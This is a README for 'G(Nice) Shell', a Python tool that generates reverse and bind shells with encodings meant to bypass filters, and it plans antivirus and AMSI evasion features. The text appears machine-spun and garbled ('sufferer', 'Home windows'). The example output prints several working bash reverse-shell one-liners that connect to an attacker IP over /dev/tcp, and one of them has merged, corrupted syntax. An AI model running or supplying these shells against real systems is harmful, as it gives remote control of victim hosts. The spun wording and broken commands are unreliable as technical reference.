A easy but versatile cross-platform shell generator instrument.
Title: G(Nice) Shell
Description: A cross-platform shell generator instrument that allows you to generate whichever shell you need, in any system you need, supplying you with full management and automation.
When you discover this instrument useful, then please give me a star because it tells me that I ought to add extra options to it.
Is cross-platform, you should utilize it in working programs reminiscent of:
- Unix-based programs
- GNU/Linux
- Home windows
- macOS
Generates the next shells:
- Bind Shells: The goal has a listening port and we hook up with the goal.
- Reverse Shells: We’ve got a listening port and the goal connects to us.
Helps the next encodings (as of now):
- URL Encoding: Bypass URL filters
- Base64/32/16 Encodings: Bypass string/key phrase filters
- PowerShell Base64 Encoding
Helps the observe IP variations:
Supported protocols:
Word: You may add your personal shells that use different protocols reminiscent of DNS.
Helps the next languages and instruments:
- PowerShell
- Python
- Bash
- Sh
- Perl
- Socat
- Netcat
- Nc
- Awk
- Lua
- NodeJS
- OpenSSL
- PHP
- Ruby
- Telnet
- Golang
- C#
- Dart
- Groovy
- Many extra…
It’s limitless, be happy so as to add as many as you need!
The shells are saved in markdown recordsdata because it makes it straightforward for everybody.
You may add extra bind shells by including markdown code blocks the next file:
It’s also possible to add extra reverse shells by including markdown code blocks the next file:
These could be one-liners and multi-liners, it does not matter. You may even add C# multi-liners code blocks if you need.
Instance, change the IP deal with and the port placeholders or variables values with these placeholders in your code:
That is it, now you possibly can add extra.
Word: It additionally provides recommendation and suggestions for performing and troubleshooting assaults.
That is the assistance menu:
❯ python3 gshell.py --help
utilization: gshell.py [-i <IP ADDRESS>] [-p <PORT NUMBER>] [-s <SHELL TYPE>] [-r] [-b]
[--base64] [--base32] [--base16] [--url] [--no-block] [--debug] [-l]
[-a] [-h]██████ ███████ ██ ██ ███████ ██ ██
██ ██ ██ ██ ██ ██ ██
██ ███ ███████ ███████ █████ ██ ██
██ ██ ██ ██ ██ ██ ██ ██
██████ ███████ ██ ██ ███████ ███████ ███████
Generate bind shells and/or reverse shells with model
Model: 1.0
Writer: nozerobit
Twitter: @nozerobit
Choices:
-i <IP ADDRESS>, --ip <IP ADDRESS>
Specify the IP deal with
-p <PORT NUMBER>, --port <PORT NUMBER>
Specify the port quantity
-s <SHELL TYPE>, --shell <SHELL TYPE>
Specify a shell kind (python, nc, bash, and so forth)
Payload Varieties:
-r, --reverse Sufferer communicates again to the attacking machine
-b, --bind Open up a listener on the sufferer machine
Encoding Choices:
--base64 Add base64 encoding
--base32 Add base32 encoding
--base16 Add base16 encoding
--url Add URL encoding
Markdown Choices:
--no-block Skip ```
code
blocks
``` whereas parsing
Assist Choices:
-l, --list Record the obtainable shell sorts
-a, --advice Print recommendation and tricks to get connections
-h, --help Present this assist message and exit
Instance, generate bash reverse shells:
❯ python3 gshell.py -i 192.168.145.134 -p 444 -r -s bash
[+] The IPv4 deal with: 192.168.145.134 is legitimate.
[+] The port quantity: 444 is legitimate.
[+] Shell kind is legitimate
[+] Making ready reverse shells
[+] Producing bash shells
bash -i >& /dev/tcp/192.168.145.134/444 0>&10<&196;exec 196<>/dev/tcp/192.168.145.134/444; sh <&196 >&196 2>&196
/bin/bash -l > /dev/tcp/192.168.145.134/444 0<&1 2>&1
bash -i >& /dev/tcp/192.168.145.134/444 0>&1
bash -i >& /dev/udp/192.168.145.134/444 0>&1
Clone or obtain the repository:
git clone https://github.com/nozerobit/gshell
Set up the necessities:
python3 -m pip set up -r gshell/necessities.txt
Add the instrument to the $PATH
surroundings variable:
sudo ln -s $(pwd)/gshell/gshell.py /usr/native/bin/gshell.py && chmod +x /usr/native/bin/gshell.py
Execute the instrument:
Clone or obtain the repository:
git clone https://github.com/nozerobit/gshell C:Instruments
Word: I created a listing named
Instruments
within theC:
root listing. You may create this listing with the commandmd C:Instruments
.
Set up chocolatey with CMD as Administrator:
@powershell -NoProfile -ExecutionPolicy Bypass -Command "iex ((new-object internet.webclient).DownloadString('https://chocolatey.org/set up.ps1'))" && SET PATH=%PATH%;%ALLUSERSPROFILEpercentchocolateybin
Set up python3 in Home windows:
Set up pip:
python -m pip set up --upgrade pip
Set up the necessities:
python -m pip set up -r gshell/necessities.txt
Word: You may change the listing if you need, simply make it possible for it comprises the
gshell
undertaking folder.
Change to the undertaking listing:
Execute the instrument:
When you discover any points then you possibly can open a problem, contact me on twitter or discord (most well-liked).
If you wish to contribute then please be happy.
Any suggestions is appreciated.
For the model 2.0 which ought to have the next:
- Encryptors: To bypass AVs
- Obfuscators: To bypass AVs
- Anti-AMSI: To bypass AMSI
- Shellcode Generator: For shellcode runners, binary explitation, and so forth.